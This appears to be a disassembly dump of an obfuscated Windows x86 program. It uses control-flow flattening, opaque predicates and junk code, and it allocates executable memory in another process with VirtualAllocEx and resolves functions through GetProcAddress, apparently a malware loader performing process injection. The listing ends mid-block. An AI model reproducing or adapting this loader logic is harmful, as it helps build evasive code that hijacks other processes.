xor edx, 0xa1250a87
xor esi, 0x152e9b2c
xor ecx, 0x125a1138
and esi, edx
or edx, 1
and ecx, 0x127a13b8
or eax, esi
mov esi, eax
not esi
and eax, 0x4bf46e55
and esi, 0xb40b91aa
or eax, esi
mov edi, eax
not edi
and eax, 0x127a13b8
mov esi, edi
or edi, edx
and esi, 0xed85ec47
and edx, 0xed85ec47
or eax, esi
or ecx, edx
not edi
mov esi, 0xf45aac31
xor ecx, eax
or edi, ecx
mov eax, edi
not eax
and edi, 0x3042977a
and eax, 0xcfbd6885
or eax, edi
cmp eax, 0x3042977a
setne cl
cmp dword [0x460980], 0xa
setge dl
setl al
xor al, cl
or dl, cl
mov ah, al
mov ecx, edx
xor ah, 1
xor cl, 1
and dl, ah
and al, cl
or al, dl
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x32e72057
cmovne edx, esi
test cl, cl
mov ecx, 0x32e72057
cmovne ecx, edx
test al, al
cmove ecx, edx
mov eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0xb4]
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x5ced4fba
and eax, 0x7d4febfb
mov esi, ecx
and esi, 0xa312b044
or edx, esi
mov esi, edx
xor esi, 0x488548b0
xor edx, 0x83109045
and edx, 0x9778974f
and esi, 0x688768b0
or esi, edx
mov edx, ecx
or edx, 0x9778974e
and ecx, 0x82b01404
and edx, 0x9778974f
or eax, ecx
xor edx, esi
xor eax, 0x7d4febfb
mov esi, edx
not esi
and edx, 0xaa6b3e6d
and esi, 0x5594c192
or edx, esi
mov esi, 0x96bfc6f3
xor edx, 0xaa6b3e6d
or eax, edx
mov ecx, eax
not ecx
and eax, 0x70e7182f
and ecx, 0x8f18e7d0
or eax, ecx
xor eax, 0x70e7182f
sete cl
setne dl
cmp dword [0x460980], 0xa
setl ah
setge al
and dl, al
and ah, cl
or ah, dl
mov dl, ah
xor dl, al
xor al, cl
and dl, ah
xor dl, 1
mov ecx, edx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0x14b5cb89
cmovne edx, esi
test cl, cl
cmove edx, esi
test al, 1
mov eax, 0x14b5cb89
jmp 0x411186
rol edi, 0x5f
inc esi
imul esi
or edi, 4
neg ebx
not eax
mov edx, 0xf6
neg edi
and edi, 0x95
sub eax, 0xb9
dec edi
neg eax
imul edi
ror ebx, 0x8f
rol eax, 4
add edi, 0x41
dec edx
inc esi
mov edx, 0xc8
inc esi
or esi, 0x4d
inc ebx
ror edx, 0x8b
mov eax, 0xfe
inc edx
ror esi, 0x26
and edx, 0x2a
rcr edx, 0x16
ror eax, 0x99
ror edx, 0x75
rcr edi, 9
mov ebx, 3
add edi, 0x8c
bswap ebx
rol esi, 0x9d
add ebx, 0x4f
neg eax
bswap edi
dec edx
imul eax
dec edx
sub edi, 0x3e
inc ebx
neg ebx
bswap eax
or edx, 0x18
not esi
bswap eax
neg edx
bswap edi
and edx, 0x91
rcl ebx, 0xf4
imul esi
add eax, 0x2d
add edx, 3
dec ebx
sub ebx, 0x7b
add eax, 0xb5
neg edx
mov eax, 0x5b
sub eax, 3
neg esi
rol ebx, 0xdf
rcr edi, 0x1e
add edx, 0x41
imul ebx
and eax, 0xe4
inc edi
ror ebx, 0x4d
rol edi, 0x48
neg eax
rcl edx, 0xeb
rol eax, 0x1f
sub edx, 0x37
ror ebx, 5
neg ebx
imul eax
not esi
neg eax
not edi
rcl esi, 0x4c
not esi
ror edx, 0x46
add eax, 0x96
imul edi
ror esi, 0x2a
add esi, 0x9f
and edx, 0x82
not ebx
mov eax, 0xcf
inc esi
rcl edi, 0x7e
rcl edx, 0x81
bswap esi
ror eax, 0x5b
not ebx
bswap edx
not eax
neg edi
neg ebx
rcl esi, 0x12
inc edi
neg edi
sub edx, 0x7c
not ebx
bswap esi
bswap ebx
mov edx, 0xb2
rcl edx, 0xda
not edx
ror ebx, 0x8b
or edx, 0xef
and esi, 2
or edi, 0xd1
neg esi
neg esi
neg edx
not edx
mov edx, 0x76
bswap eax
neg eax
inc edi
inc edx
add esi, 0xb0
rcr edi, 0xfa
imul eax
sub edi, 0xa0
sub edi, 0x59
sbb ebx, 0x18
imul esi
mov edi, 0x99
imul esi
inc esi
bswap eax
mov esi, 0x35
rcl ebx, 0x29
dec ebx
rol edx, 0xe2
rcr eax, 0x48
rcl esi, 0x12
mov edx, 0x32
dec eax
dec edi
or ebx, 0xde
ror esi, 0xd9
bswap eax
imul eax
sub eax, 0x9c
rol edx, 0x8e
and edx, 0xe5
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x7840316
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0xf87bfce9
and eax, 0x7840316
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xb6624097
and eax, 0xc93f0459
and edx, 0x499dbf68
or ecx, edx
mov edx, ecx
xor edx, 0xb6624097
xor ecx, 0x410c9720
mov esi, edx
and esi, 0x36c0fba6
or edx, 1
and ecx, 0xd30c97a0
or eax, esi
mov esi, eax
not esi
and eax, 0xc5763fe6
and esi, 0x3a89c019
or eax, esi
mov esi, eax
xor esi, 0xd3048400
xor eax, 0xc493bbe
mov edi, eax
or eax, edx
and edx, 0x2cf3685f
and edi, 0x2cf3685f
and esi, 0xd30c97a0
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xe3bcc440
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4036b5ff
and ecx, 0xbfc94a00
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9c76f9f5
and ecx, 0x6389060a
or eax, ecx
mov ecx, eax
xor ecx, 0x20a720a4
xor eax, 0xdc404c0a
mov edx, eax
and edx, 0x1f18df53
and ecx, 0xe0e720ac
or ecx, edx
xor ecx, 0x1f18df53
xor eax, ecx
test eax, ecx
setne dl
sete ah
cmp dword [0x460980], 0xa
mov dh, dl
setge al
setl ch
mov cl, al
or dh, ch
xor cl, dl
and dl, ch
xor dh, 1
and cl, ch
mov ch, al
xor ch, ah
or cl, dh
and ch, al
and al, ah
or al, dl
mov dl, ch
xor ch, al
xor dl, 1
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ch
mov ah, al
and al, cl
xor ah, 1
and dl, ah
or dl, al
mov al, cl
xor al, ah
or ah, cl
mov ecx, 0x4b7c21a3
xor ah, 1
or ah, al
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, 1
not al
cmove ecx, esi
test al, 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x118], eax
mov eax, 0x4b7c21a3
cmovne ecx, eax
mov eax, ecx
jmp 0x402260
mov eax, 0xff4f75d6
jmp 0x402260
mov eax, dword [ebp - 0x1c]
mov eax, dword [0x460984]
mov dword [ebp - 0x24], 0x10
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x7192d0ce
and ecx, 0x679bb2d
mov eax, edx
and eax, 0x2092c20
mov edi, edx
or edi, 0x739bfcee
and edx, 0xf98644d2
or esi, eax
mov eax, edi
not eax
and edi, 0x8c640310
or ecx, edx
xor esi, 0x7192d0ce
or eax, esi
mov esi, 0x34fd0a99
and eax, 0x739bfcef
or eax, edi
mov edi, eax
not edi
mov edx, eax
and edx, 0x926bf122
and edi, 0x6d940edd
or edi, edx
mov edx, ecx
xor edx, 0x4100a0d
xor ecx, 0xf98644d2
or eax, ecx
and ecx, 0x926bf122
and edx, 0x6d940edd
or edx, ecx
not eax
xor edx, edi
mov edi, 0xea06c6f2
or eax, edx
mov ecx, eax
not ecx
and eax, 0x911ee66b
and ecx, 0x6ee11994
or eax, ecx
xor eax, 0x911ee66b
setne cl
sete ah
cmp dword [0x460980], 0xa
setge al
setl dl
mov ch, al
mov dh, dl
xor ch, ah
or dh, cl
and ch, al
and al, ah
xor ah, dl
and ah, cl
and cl, dl
xor ah, 1
or al, cl
mov cl, ch
mov bl, ah
or ah, dh
xor ch, al
xor cl, 1
xor al, 1
or al, cl
xor bl, dh
xor ah, 1
xor al, 1
or ah, bl
or al, ch
mov dl, ah
xor dl, al
xor al, 1
mov ecx, eax
or al, ah
xor dl, 1
xor al, 1
xor cl, ah
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0xea06c6f2
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x9f6b6fe4
and ecx, 1
mov esi, edx
and edx, 0x6094901b
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0xb6fc8b92
mov edx, eax
xor edx, 0x9f6b6fe4
xor eax, 0x6094901b
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x460980], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, al
xor al, 1
xor ah, al
and al, cl
and ah, cl
or al, dl
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0x21dd2840
cmovne ecx, esi
test al, al
mov edx, ecx
cmovne edx, esi
test ah, ah
cmove edx, ecx
mov eax, edx
jmp 0x402260
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov ecx, dword [0x460984]
mov dword [ebp - 0x1a0], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x800ca000
mov edx, ecx
and edx, 0x4420944
and ecx, 0x7bb156bb
or eax, edx
xor eax, 0x800ca000
or ecx, eax
mov eax, ecx
xor eax, 0x2c897789
mov edx, ecx
and edx, 0x8133baf5
and eax, ecx
not ecx
and ecx, 0x7ecc450a
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x8133baf5
xor esi, 0x52453283
xor edx, 0xe440108
and esi, ecx
and edx, 0xf468b48
or eax, esi
mov esi, eax
not esi
and eax, 0xdedf118b
and esi, 0x2120ee74
or eax, esi
mov esi, ecx
and esi, 0xf0b974b7
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x82462003
xor eax, 0xda999fc
xor esi, 0xf468b49
and edx, 0x8e47b0ff
or ecx, esi
mov esi, eax
and esi, 0x71b84f00
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0x71b84f00
and esi, 0x8e47b0ff
not eax
or esi, ecx
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xc11daf9c
and edx, 0x3ee25063
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3ee25063
or eax, esi
and esi, 0xc11daf9c
or ecx, esi
not eax
mov esi, 0x1c7130b8
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7bd2c9aa
and ecx, 0x842d3655
or ecx, eax
xor ecx, 0x842d3655
sete dl
setne ah
cmp dword [0x460980], 0xa
setge cl
setl al
xor cl, ah
or ah, al
xor ah, 1
and cl, al
or cl, ah
mov ah, al
xor al, dl
or ah, dl
mov edx, ecx
xor ah, 1
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x92f3b18b
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
test dl, dl
cmove eax, ecx
jmp 0x402260
mov eax, 0xf0423b25
jmp 0x402260
mov ecx, dword [0x460984]
mov esi, 0x8e187eed
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1c35561c
and ecx, 0xe3caa9e2
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
xor edx, 0x1c35561c
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
xor ecx, 0xffffffff
setne ah
sete ch
cmp dword [0x460980], 0xa
setl dl
setge cl
and ah, dl
and cl, ch
mov al, dl
or dl, ch
or cl, ah
mov ah, dl
xor al, ch
xor cl, 1
mov ch, al
xor ah, cl
or cl, dl
xor ch, 1
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
mov cl, dl
and ch, dl
xor ah, dl
or dl, al
xor cl, 1
xor dl, 1
and cl, al
or dl, ah
or cl, ch
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x8ae208ca
cmovne edx, esi
test cl, cl
not al
cmove edx, esi
test al, 1
mov eax, 0x8ae208ca
cmovne edx, eax
mov eax, edx
jmp 0x402260
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xa8]
push 0x40
push 0x3000
push dword [eax + 0x38]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edi, ecx
not edi
and ecx, 0x4d4ba9ce
and edi, 0xb2b45631
or edi, ecx
mov eax, edi
mov ecx, edi
xor edi, 0x135c7077
xor ecx, 0xb2b45631
xor eax, 0x4d4ba9ce
mov esi, edi
and esi, ecx
and edi, eax
or ecx, 1
and eax, 0xdc45e6f8
mov edx, esi
not edx
and esi, 0x266250f8
mov ebx, edx
and ebx, 0xd99daf07
or esi, ebx
mov ebx, edi
not ebx
and edi, 0x266250f8
or edx, ebx
and ebx, 0xd99daf07
or edi, ebx
not edx
mov ebx, 0xaeffec51
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0x5e17d9b8
and esi, 0xa1e82647
or edx, esi
mov edi, edx
not edi
and edx, 0xdc45e6f8
mov esi, edi
or edi, ecx
and esi, 0x23ba1907
and ecx, 0x23ba1907
or edx, esi
or eax, ecx
not edi
mov esi, 0xcd9ac047
xor eax, edx
or edi, eax
mov eax, edi
not eax
and edi, 0x4684040c
mov ecx, eax
and ecx, 0xa078e170
and eax, 0x19031a83
or edi, ecx
xor edi, 0x4684040c
or eax, edi
mov edi, 0xaeffec51
mov ecx, eax
not ecx
and eax, 0xa5375782
and ecx, 0x5ac8a87d
or ecx, eax
mov eax, ecx
xor eax, 0x25224480
xor ecx, 0x8c88811
and ecx, 0x88dd9b13
and eax, 0x772264ec
or eax, ecx
xor eax, 0x772264ec
sete cl
setne ah
cmp dword [0x460980], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov dh, ch
xor dh, dl
and dh, ch
xor al, dh
mov ecx, eax
xor cl, 1
and dh, cl
xor cl, dh
test cl, 1
cmovne ebx, esi
test al, al
mov eax, ebx
cmovne eax, edi
test dh, dh
cmove eax, ebx
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa535f33a
and eax, 0x5aca0cc5
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x122433d2
and eax, 0xeddbcc2d
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x3300c0a0
xor eax, 0x48ee3f17
xor edx, 0x48ee3f16
and edx, eax
and ecx, 0x3328dfb0
and eax, 0xccd7204f
or eax, ecx
xor eax, 0xccd7204e
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x4f78e8ef
and edx, 0xb0871710
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb0871710
or eax, esi
and esi, 0x4f78e8ef
or ecx, esi
not eax
mov esi, 0xe539d5e9
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcb5f2ea0
mov edx, ecx
and edx, 0x34a0d15f
or eax, edx
xor eax, 0xcb5f2ea0
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x460980], 0xa
mov cl, ah
setge al
xor ah, al
or cl, al
or al, dl
and ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xdba604b1
cmovne ecx, esi
test dl, dl
mov edx, 0xdba604b1
cmovne edx, ecx
test al, al
cmovne edx, ecx
mov eax, edx
jmp 0x402260
mov eax, dword [ebp - 0x38]
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1002acb0
and eax, 0x4dfd0347
and ecx, 0xa2005008
or edx, ecx
xor edx, 0x1002acb0
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7ed8696e
and ecx, 0x81279691
or eax, ecx
mov ecx, eax
xor eax, 0x30240a21
xor ecx, 0xccda95d6
mov edx, ecx
and eax, 0x38b41ff7
and edx, 0xc74be008
and ecx, 0xb42ffca6
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0xc74be008
xor esi, 0x73641cae
xor edx, 0x18a41f51
and esi, eax
and edx, 0x1fe57f51
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x124e3aba
and esi, 0xedb1c545
or ecx, esi
mov esi, eax
and esi, 0xe01a80ae
and eax, 1
or esi, edx
xor ecx, 0x599e39e2
xor esi, 0x1fe57f50
or eax, esi
mov esi, 0x79d76259
mov edx, eax
not edx
and eax, 0xb70dce80
and edx, 0x48f2317f
or eax, edx
xor eax, 0xb70dce80
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xab5ec1ce
and ecx, 0x54a13e31
or eax, ecx
mov ecx, eax
xor ecx, 0xa1240ca
xor eax, 0x54001a00
and eax, 0xf54c9b04
and ecx, 0xab364fb
or ecx, eax
mov eax, ecx
xor eax, 0xc1480b00
xor ecx, 0x81364c9
and eax, 0xc3e80b32
and ecx, 0x3c17f4cd
or ecx, eax
xor ecx, 0x3c17f4cd
sete ch
setne dl
cmp dword [0x460980], 0xa
mov al, ch
setge ah
setl dh
xor al, dh
and dl, dh
or dh, ch
and ah, ch
xor dh, 1
or ah, dl
mov ecx, eax
or ah, dh
xor cl, 1
mov ch, ah
and al, cl
xor ch, 1
xor al, 1
mov dl, ch
and dl, ah
xor ch, dl
xor dl, 1
or dl, ah
mov ah, al
or al, cl
xor dl, 1
xor ah, cl
xor al, 1
or dl, ch
or al, ah
xor dl, 1
xor al, dl
or dl, cl
mov ecx, eax
xor cl, dl
not cl
test cl, 1
mov ecx, 0xc4db2fb1
cmovne ecx, esi
test dl, 1
mov edx, 0xc4db2fb1
cmovne edx, ecx
test al, 1
jmp 0x410e73
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x44]
add eax, 4
mov dword [ebp - 0x180], eax
mov eax, 0x11900abe
jmp 0x402260
mov eax, dword [ebp - 0x7c]
mov eax, dword [0x460984]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0x1a63fa34
and eax, 0xe59c05cb
or esi, eax
mov edx, esi
mov eax, esi
xor edx, 0x1a63fa34
xor eax, 0xe59c05cb
xor esi, 0x8341ee14
mov ecx, edx
and esi, eax
and ecx, 0x66ddebdf
and edx, 0x1d579eaa
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xbd937195
and esi, 0x426c8e6a
or ecx, esi
mov esi, eax
and esi, 0xe2a86155
and eax, 1
or esi, edx
xor ecx, 0x24b165b4
mov edx, esi
xor edx, 0x15548889
xor esi, 0x20880040
or eax, edx
and esi, 0x288b1662
and eax, 0xd774e99d
or eax, esi
xor eax, 0xd774e99d
or eax, ecx
mov edx, eax
xor edx, 0x1675ba06
mov ecx, eax
and ecx, 0x150200
and edx, eax
not eax
and eax, 0x1660b806
or ecx, eax
mov eax, ecx
xor eax, 0x10000
xor ecx, 0xffeafdff
mov esi, ecx
and esi, 0x539eda8f
and eax, 0x4612000
or eax, esi
mov esi, edx
not esi
and edx, 0xac612570
or ecx, esi
and esi, 0x539eda8f
or edx, esi
not ecx
mov esi, 0xd24a0a75
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x1675ba06
and eax, 0xe98a45f9
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x1e2714e9
mov edx, eax
and edx, 0xe1d8eb16
or ecx, edx
xor ecx, 0x1e2714e9
or ecx, eax
xor ecx, 0xffffffff
setne cl
sete dl
cmp dword [0x460980], 0xa
setge ah
setl al
mov ch, ah
and al, cl
xor ch, dl
and dl, ah
or al, dl
and ch, ah
or ch, al
mov dl, ch
xor dl, al
xor al, 1
or al, ch
mov ah, dl
xor ah, al
test dl, dl
mov edx, 0x3676ca0e
cmovne edx, esi
test al, al
not ah
cmovne edx, esi
test ah, 1
mov eax, 0x3676ca0e
cmove edx, eax
mov eax, edx
jmp 0x402260
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x54]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, 0xe2c41f63
jmp 0x402260
mov eax, 0xca9cf5ad
jmp 0x402260
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x174]
cmp ecx, dword [eax + 0x34]
mov eax, 0x41eeef54
mov ecx, 0xb00bb6d2
cmove eax, ecx
jmp 0x402260
mov eax, 0x3deb4d75
jmp 0x402260
cmp dword [ebp - 0xdc], 0
mov eax, 0x42b9b0b9
mov ecx, 0x8c9737cc
cmove eax, ecx
jmp 0x402260
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x40]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov edx, eax
mov ecx, eax
xor ecx, 0xffff0000
not edx
mov esi, edx
and ecx, eax
and esi, 0xffff0000
and edx, 0xe26d9acb
and eax, 0x1d926534
or ecx, esi
or eax, edx
not ecx
xor eax, 0x1d926534
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfc4bceee
and ecx, 0x3b43111
or eax, ecx
mov ecx, dword [ebp - 0x5c]
xor eax, 0xfc4bceee
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, 0x14b5cb89
jmp 0x402260
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x20
mov eax, 0xeb466bd4
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0x809a3124
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x5224c681
and ecx, eax
and esi, 0x809af525
and edx, 0x52240280
or edx, esi
mov esi, ecx
not esi
and ecx, 0x7f650ada
or eax, esi
and esi, 0x809af525
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xaddb397e
and eax, 0x5224c681
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x6a267118
and eax, 0x28dc75fe
mov ecx, esi
and esi, 0x95d98ee7
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0xd7238a01
or eax, esi
mov esi, edx
xor esi, 0x28047118
xor edx, 0x95d98ee6
or ecx, edx
and edx, 0xd7238a01
and esi, 0x28dc75fe
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x5eb23d5a
mov eax, ecx
xor eax, 0x8b0f20ce
and eax, ecx
not ecx
and ecx, 0x8b0f20ce
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa46f3954
and ecx, 0x5b90c6ab
or eax, ecx
mov ecx, eax
xor ecx, 0x960118a
xor eax, 0xd09fe665
mov edx, eax
and edx, 0xf69f8e34
and ecx, 0x96071cb
or ecx, edx
xor ecx, 0x96071cb
or ecx, eax
xor ecx, 0xffffffff
sete dl
setne al
cmp dword [0x460980], 0xa
setge cl
setl ah
mov ch, cl
and ah, al
inc al
xor ch, dl
and al, cl
and ch, cl
and cl, dl
or al, ah
or cl, ah
xor ch, 1
xor al, 1
xor cl, 1
mov dl, ch
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
or dl, ah
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x54b2e857
cmovne ecx, esi
test al, 1
mov eax, 0x54b2e857
cmovne eax, ecx
jmp 0x411ca3
mov eax, 0x78f398fb
jmp 0x402260
mov eax, 0x479fc5cb
jmp 0x402260
mov eax, 0xb00bb6d2
jmp 0x402260
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, 0x6d240aa3
jmp 0x402260
mov eax, 0x726db77e
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x671c109
and edi, 0xf98e3ef6
and edx, 0x23885b63
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xdc77a49c
mov ebx, esi
not ebx
and esi, 0xf98e3ef6
or eax, edx
or ecx, ebx
and ebx, 0x671c109
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xb2e87f78
mov esi, edx
and esi, 0x4d178087
or ecx, esi
mov esi, eax
xor esi, 0x90602418
xor eax, 0x1000003
and eax, 0x4d178087
and esi, 0xb2e87f78
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xe3bcc440
sete dl
setne ah
cmp dword [0x460980], 0xa
setge ch
setl al
mov cl, ch
and ch, dl
and al, ah
inc cl
or al, ch
or dl, cl
and cl, ah
xor al, 1
or cl, ch
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x53bdf77
cmovne ecx, esi
test al, 1
mov esi, 0x53bdf77
jmp 0x411c9e
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x6a0411d7
mov esi, eax
and esi, 0x95fbee28
and eax, 0x44ed375d
or edx, esi
mov edi, edx
xor edx, 0x95fbee28
xor edi, 0x62000056
or edx, 1
and edi, 0x7262667e
mov esi, edx
and esi, 0x8d9d9980
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0xbb12c8a2
mov ebx, esi
not ebx
and esi, 0x7262667f
or eax, ecx
or edx, ebx
and ebx, 0x8d9d9980
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x44ed375d
mov edi, esi
and edi, 0xbb12c8a2
or edx, edi
mov edi, 0x8ee6a031
xor eax, edx
not eax
or eax, esi
mov esi, 0x5a460215
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x460980], 0xa
setl ch
setge al
mov dh, ch
xor dh, ah
mov cl, dh
xor cl, al
xor al, ah
and dl, al
and al, ch
and cl, dh
mov ah, dl
xor dl, al
xor al, 1
xor ah, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor cl, al
xor dl, 1
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x8ee6a031
cmovne edx, esi
test cl, 1
mov ecx, edx
cmovne ecx, edi
jmp 0x411896
mov eax, 0xeaa6b8a5
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xaa0c2b97
mov edx, ecx
not edx
and eax, ecx
or ecx, 0x55f3d468
and edx, 0xa0000011
mov esi, ecx
and esi, 0x5eefebc6
or edx, esi
mov esi, eax
not esi
and eax, 0xa1101439
or ecx, esi
and esi, 0x5eefebc6
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xfaba5fee
and eax, 0x545a011
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0xa5088084
xor eax, 0x50b67479
xor edx, 0x50b67478
and edx, eax
and ecx, 0xb50cc4d5
and eax, 0x4af33b2a
or eax, ecx
xor eax, 0x4af33b2b
or eax, edx
mov ecx, eax
not ecx
